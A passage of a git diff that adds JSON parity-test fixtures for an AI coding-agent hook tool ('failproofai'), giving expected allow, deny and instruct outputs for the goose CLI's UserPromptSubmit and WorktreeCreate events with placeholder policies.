"parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/UserPromptSubmit/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/UserPromptSubmit/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..3ef903cb --- /dev/null +++ b/__tests__/parity/fixtures/goose/UserPromptSubmit/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/UserPromptSubmit/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/UserPromptSubmit/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..38b1d60a --- /dev/null +++ b/__tests__/parity/fixtures/goose/UserPromptSubmit/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/UserPromptSubmit/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/UserPromptSubmit/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..c0652a7f --- /dev/null +++ b/__tests__/parity/fixtures/goose/UserPromptSubmit/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/UserPromptSubmit/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/UserPromptSubmit/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..38b26f9b --- /dev/null +++ b/__tests__/parity/fixtures/goose/UserPromptSubmit/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/UserPromptSubmit/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/UserPromptSubmit/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..00e000cb --- /dev/null +++ b/__tests__/parity/fixtures/goose/UserPromptSubmit/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/UserPromptSubmit/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/UserPromptSubmit/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..b2f85895 --- /dev/null +++ b/__tests__/parity/fixtures/goose/UserPromptSubmit/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/UserPromptSubmit/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/UserPromptSubmit/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..aef98940 --- /dev/null +++ b/__tests__/parity/fixtures/goose/UserPromptSubmit/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/UserPromptSubmit/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/UserPromptSubmit/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..0f820dd1 --- /dev/null +++ b/__tests__/parity/fixtures/goose/UserPromptSubmit/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/UserPromptSubmit/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/UserPromptSubmit/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..2d1d67ce --- /dev/null +++ b/__tests__/parity/fixtures/goose/UserPromptSubmit/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked prompt by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/UserPromptSubmit/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/UserPromptSubmit/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..c468b56c --- /dev/null +++ b/__tests__/parity/fixtures/goose/UserPromptSubmit/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked prompt by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/UserPromptSubmit/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/UserPromptSubmit/deny__tool-present__one-policy.json new file mode 100644 index 00000000..7a3f1305 --- /dev/null +++ b/__tests__/parity/fixtures/goose/UserPromptSubmit/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/UserPromptSubmit/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/UserPromptSubmit/deny__tool-present__two-policies.json new file mode 100644 index 00000000..74e0a6e1 --- /dev/null +++ b/__tests__/parity/fixtures/goose/UserPromptSubmit/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/UserPromptSubmit/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/UserPromptSubmit/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..992045be --- /dev/null +++ b/__tests__/parity/fixtures/goose/UserPromptSubmit/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/UserPromptSubmit/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/UserPromptSubmit/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..5cad165d --- /dev/null +++ b/__tests__/parity/fixtures/goose/UserPromptSubmit/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/UserPromptSubmit/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/UserPromptSubmit/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..55b82849 --- /dev/null +++ b/__tests__/parity/fixtures/goose/UserPromptSubmit/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/UserPromptSubmit/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/UserPromptSubmit/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..5c5dfc15 --- /dev/null +++ b/__tests__/parity/fixtures/goose/UserPromptSubmit/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/WorktreeCreate/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/WorktreeCreate/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..7ba6c143 --- /dev/null +++ b/__tests__/parity/fixtures/goose/WorktreeCreate/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/WorktreeCreate/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/WorktreeCreate/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..8f9fc75e --- /dev/null +++ b/__tests__/parity/fixtures/goose/WorktreeCreate/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": 